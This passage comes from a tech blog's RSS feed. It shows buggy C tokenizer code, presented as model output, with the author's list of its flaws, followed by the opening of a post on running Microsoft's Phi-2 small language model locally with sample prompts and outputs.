&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;encode&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;text, &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Allocate memory for the tokens list
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;str &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#8aadf4&#34;&gt;malloc&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;MAX_LEN&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; i, j&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;strlen&lt;/span&gt;(text) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; text[i] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Check if the current character is whitespace or not alphanumeric
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#8aadf4&#34;&gt;isspace&lt;/span&gt;(text[i]) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;isalpha&lt;/span&gt;(text[i])){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Add whitespace to the tokens list
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#8aadf4&#34;&gt;strcat&lt;/span&gt;(str,&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;text[i]); 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; (k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;j &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;strcmp&lt;/span&gt;(text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;i, str &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; k)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;k; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Check if the token is of length atleast 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;j &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// If yes, concatenate it to tokens list
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#8aadf4&#34;&gt;strcat&lt;/span&gt;(str,&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;text[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Output the tokenized string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Tokenized String: %s&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;,str);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Allocate memory for tokenized string size array
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt;)&lt;span style=&#34;color:#8aadf4&#34;&gt;malloc&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;(j&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;j; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Convert tokens to integer values
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize)[i] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;strtol&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;str[i], &lt;span style=&#34;color:#91d7e3&#34;&gt;NULL&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;16&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Decodes the input array of integers into a string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;decode&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokensize, &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Declare memory for decoded string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; str[MAX_LEN] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;*&lt;/span&gt;tokensize; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;strcat&lt;/span&gt;(str, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;%x&amp;#34;&lt;/span&gt;, tokensize[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Output the tokenized string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Tokenized String: %s&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;,str);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Declare memory for decoded string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;decodedStr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#8aadf4&#34;&gt;malloc&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;*&lt;/span&gt;tokensize; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Convert integer values to hexadecimal strings
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;sprintf&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;decodedStr[i], &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;%x&amp;#34;&lt;/span&gt;, tokensize[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; decodedStr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;⚠️ Note: It has been a while since I wrote C, but at a high level, these are some of the issues I can see with this; these issues are off the top of my head and are not exhaustive. Finally, it is not meant to test my coding capabilities. 😬&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Memory Allocation: The &lt;code&gt;malloc&lt;/code&gt; function is used without checking for successful allocation; if it returns &lt;code&gt;NULL&lt;/code&gt;, which is not checked, we will get hurt.&lt;/li&gt;
&lt;li&gt;Tokenization Logic: The logic in the &lt;code&gt;encode&lt;/code&gt; function does not reflect the BPE algorithm, which involves merging the most frequent pairs of characters or bytes.&lt;/li&gt;
&lt;li&gt;String Concatenation: The &lt;code&gt;strcat&lt;/code&gt; function is used incorrectly; instead of a null-terminated string (as part of the second argument), we get a pointer to a single character&lt;/li&gt;
&lt;li&gt;Decoding Logic: The &lt;code&gt;decode&lt;/code&gt; function attempts to use &lt;code&gt;strcat&lt;/code&gt; with a format string (&lt;code&gt;&amp;quot;%x&amp;quot;&lt;/code&gt;), which is invalid. The &lt;code&gt;sprintf&lt;/code&gt; function should be used for formatted strings.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hopefully, this gives you a good understanding of SLMs, specifically Phi-2, and how to use them locally. 😍&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SLMs - How to run Phi-2 Locally, and implement RAG</title>
      <link>/post/2024/03/running-phi2-locally/</link>
      <pubDate>Wed, 13 Mar 2024 00:00:00 +0000</pubDate>
      
      <guid>/post/2024/03/running-phi2-locally/</guid>
      <description>&lt;h2 id=&#34;1-what-are-small-language-models-slms&#34;&gt;1. What are Small Language Models (SLMs)?&lt;/h2&gt;
&lt;p&gt;Before diving into running Phi-2 locally, let&amp;rsquo;s take a moment to understand the concept of small language models (SLMs) and their significance in natural language processing (NLP). A SLM is a type of AI model that has been trained on a massive dataset of text but is limited in terms of its size and capabilities compared to a Large Language Model (LLM). SLMs are designed to be more lightweight and efficient, making them suitable for various applications, including chatbots, language translation, and content generation. SLMs are much smaller than LLMs, with fewer parameters and a smaller dataset, so they have a lower computational cost, making them more suitable for edge or resource-constraint devices.&lt;/p&gt;
&lt;h2 id=&#34;2-what-is-phi-2&#34;&gt;2. What is Phi-2?&lt;/h2&gt;
&lt;p&gt;&lt;a
	
		href = &#34;https://www.microsoft.com/en-us/research/blog/phi-2-the-surprising-power-of-small-language-models/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Phi-2
	&lt;/span&gt;
&lt;/a&gt; is the latest model in the Phi series of small language models (SLMs) that aim to break the conventional scaling laws of language models. Unlike large language models (LLMs) that require massive amounts of data and compute resources, Phi models are trained on a mixture of web-crawled and synthetic &amp;ldquo;textbook-quality&amp;rdquo; data, following the idea of &lt;a
	
		href = &#34;https://arxiv.org/abs/2306.11644&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Textbooks Are All You Need
	&lt;/span&gt;
&lt;/a&gt;. Phi models also leverage innovations in model architecture, optimization, and data augmentation to achieve remarkable performance on various benchmarks. &amp;#x1f600;&lt;/p&gt;
&lt;p&gt;Phi-2 is twice as large as its predecessor Phi-1.5, and was trained for two weeks on a cluster of 96 A100 GPUs. It demonstrates outstanding reasoning and language understanding capabilities, showcasing state-of-the-art performance (for LLMs &amp;lt;13 billion parameters).&lt;/p&gt;
&lt;p&gt;As shown in the figure below on complex benchmarks, Phi-2 matches or outperforms models up to 25x larger, such as Llama-2 and Gemini Nano. Phi-2 is also an ideal playground for researchers, as it allows for exploration around mechanistic interpretability, safety improvements, or fine-tuning experimentation on various tasks. Phi-2 is available in the &lt;a
	
		href = &#34;https://learn.microsoft.com/en-us/azure/ai-studio/what-is-ai-studio?tabs=home&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure AI Studio
	&lt;/span&gt;
&lt;/a&gt; (via the &lt;a
	
		href = &#34;https://ai.azure.com/explore/models/microsoft-phi-2/version/4/registry/azureml-msr&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		model catalog
	&lt;/span&gt;
&lt;/a&gt;) and on Hugging Face.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2.png&#34; alt=&#34;Phi-2 Evaluation&#34;/&gt;
        &lt;figcaption&gt;Phi-2 Evaluation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;21-phi-2s-capabilities&#34;&gt;2.1 Phi-2&amp;rsquo;s Capabilities&lt;/h3&gt;
&lt;p&gt;What better way to show this other than Some prompts that Phi-2 can handle:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Creative Writing&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Write a short story about a time-traveling computer geek who discovers a secret algorithm book with the power to change computing history.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;In the dimly lit archives of the ancient library, Amelia stumbled upon a dusty tome unlike any other. Its pages whispered secrets of forgotten civilizations and whispered promises of altered destinies. As she traced her fingers over the delicate script, the room seemed to blur, and suddenly, she was standing in the heart of Renaissance Florence. The air smelled of ink and ambition. The book had worked its magic, and Amelia knew she held the fate of empires in her hands.&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Philosophical Reflection&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Discuss the concept of free will versus determinism.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;Free will and determinism have long been at odds in philosophical discourse. Some argue that our choices are predetermined by external factors—genetics, upbringing, societal norms—while others champion the idea that we possess true agency. Perhaps the truth lies in the delicate dance between the two. We navigate life&amp;rsquo;s labyrinth, sometimes guided by fate, other times forging our own path.&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Educational Explanation&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Explain the process of photosynthesis in simple terms.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;Photosynthesis, the magical dance of plants and sunlight, is how they create their own food. Imagine tiny chlorophyll factories in leaves, capturing sunlight like solar panels. They convert that energy into chemical fuel—glucose—while releasing oxygen as a byproduct. So next time you breathe in that fresh air, thank a leaf for its photosynthetic prowess!&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Humorous Scenario&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;🗒️Prompt:&lt;/strong&gt; &amp;ldquo;Describe a day in the life of a mischievous squirrel.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;🤖 Phi2-Generated output:&lt;/strong&gt; &amp;ldquo;Meet Nutty, the squirrel extraordinaire. His mornings begin with acorn heists, followed by elaborate treehouse construction. He&amp;rsquo;s the neighborhood&amp;rsquo;s unofficial alarm clock, chattering loudly at dawn. But his pièce de résistance? Prank-calling the crows, convincing them they&amp;rsquo;ve won a lifetime supply of shiny objects. Nutty&amp;rsquo;s motto: &amp;lsquo;Life&amp;rsquo;s too short not to be a little nuts.&amp;rsquo;&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;3-small-language-models-slms-vs-large-language-models-llms&#34;&gt;3. Small Language Models (SLMs) vs Large Language Models (LLMs)&lt;/h2&gt;
&lt;p&gt;Large Language Models (LLMs) are a type of AI model that is much larger and more powerful than SLMs. LLMs have hundreds of billions of parameters and are trained on massive text datasets. This gives LLMs the ability to handle complex tasks, such as language generation, translation, and question answering, with high accuracy and fluency. However, LLMs also have some disadvantages. They are larger, making them more expensive and slower to train. They also have a higher computational cost, meaning they may require access to specialized hardware.&lt;/p&gt;
&lt;p&gt;On the other hand, SLMs, as we called out, are smaller and more lightweight than LLMs, making them more efficient and cost-effective in training computing resources and inference. While it might seem that SLMs are also more suitable for edge or resource-constrained devices, such as mobile phones or IoT devices, they are small compared to LLMs but still require significant computational resources to run. Phi-2, for example, still has 2.7B parameters, and while it can make inferences on a CPU, it is very slow and impractical for real-time applications. One would need a GPU or a cloud-based service for any realistic use case.&lt;/p&gt;
&lt;h3 id=&#34;31-when-to-use-slm-vs-llm&#34;&gt;3.1 When to use SLM vs LLM?&lt;/h3&gt;
